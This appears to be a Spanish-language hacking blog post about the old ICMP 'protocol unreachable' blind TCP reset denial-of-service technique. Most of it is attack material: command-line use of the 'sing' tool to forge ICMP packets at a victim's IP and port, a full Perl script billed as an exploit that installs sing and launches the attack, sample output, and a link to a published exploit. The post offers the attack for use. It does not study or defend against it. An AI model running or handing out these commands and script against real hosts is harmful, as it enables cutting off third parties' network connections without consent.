ICMP Protocol Unreachable TCP denial of service (Local)
Queremos reencarnar una vulnerabilidad que se descubrió haya por el 2004 y que aún sigue siendo efectiva como en aquellos tiempos. ICMP Protocol Unreachable TCP denial of service, o también conocida como Blind TCP connection reset. Esta vulnerabilidad en el protocolo ICMP tiene el poder de falsificar el remitente de los paquetes ICMP produciendo una cancelación entre las conexiones TCP de dos ordenadores.
Hoy vamos a ver el caso local, es decir, romper una conexión TCP establecida entre nuestro ordenador y otro fuera de nuestra red. Como es habitual tocaremos temas de programación.
Lista de sistemas vulnerables:
Existen exploits, herramientas y automatizaciones para cargar contra esta debilidad en el protocolo ICMP. Esta vez veremos un poco de todo y empezaremos por la herramienta sing (disponible solo para Linux).
Sing (en dos pasos):
1º - Podemos instalarla con un simple apt-get install sing
2º - Ejecutamos: sing -du -x prot-unreach -psrc “puerto víctima” -orig “nuestra ip” -pdst “nuestro puerto” “victima ip”
Sin comillas dobles. Esta herramienta se encargará de falsificar los paquetes ICMP para cerrar definitivamente la conexión
entre las dos máquinas.
ICMP Protocol Unreachable TCP Automation Local DOS Exploit:
#!/usr/bin/perl
$ip = $ARGV[0];
$port = $ARGV[1];
$ip2 = $ARGV[2];
$port2 = $ARGV[3];
if ((!$ARGV[0]) || (!$ARGV[1]) || (!$ARGV[2]) || (!$ARGV[3]))
{
print “\n[x]: Incorrect argument\n”;
print “[x]: Exploit Usage:\n”;
print “[x]: perl x.pl yourIP yourPORT victimIP victimPORT\n\n”;
print “[x]: Exploit: ICMP Protocol Unreachable TCP Automation Local DOS Exploit\n”;
print “[x]: Coder: JosS\n”;
print “[x]: Contact: sys-project[at]hotmail.com\n”;
print “[x]: HomePage: www.spanish-hackers.com\n\n”;
}
else
{ #1e
chomp(my $demo = `whoami`);
if ($demo =~ m/root/)
{ #1i
print “\n[x]: $demo, OK!\n”;
print “[x]: Exploit installing…\n”;
chomp(my $demo2 = `apt-get install sing`);
print “[x]: Exploit installed\n”;
print “[x]: Starting attack…\n”;
chomp(my $demo3 = `sing -du -x prot-unreach -psrc $port2 -orig $ip -pdst $port $ip2`);
print “[x]: $demo3\n”;
print “[x]: Finished attack\n\n”;
exit(1);
} #1iF
else
{
print “\n[x]: $demo, you are not Root\n\n”;
exit(1);
}
} #1eF
Salida por pantalla:
# h4×0rz:/home/joss/Desktop# perl exp.pl 192.168.1.34 9999 192.168.1.33 1233
# [x]: root, OK!
# [x]: Exploit installing…
# [x]: Exploit installed
# [x]: Starting attack…
# [x]: SINGing to 192.168.1.33 (192.168.1.33): 36 data bytes
# [x]: Finished attack
No hace falta mucho tiempo para comentar el peligro de esta vulnerabilidad que surgió hace ya mucho tiempo y aún persiste entre todos nosotros y tendríamos que preocuparnos aún más viendo lo sencillo que resulta explotarla.
Exploit:
http://milw0rm.com/exploits/291

Publicado en:
Tags:
Reacciones con otros blogs:  
Marcadores sociales:




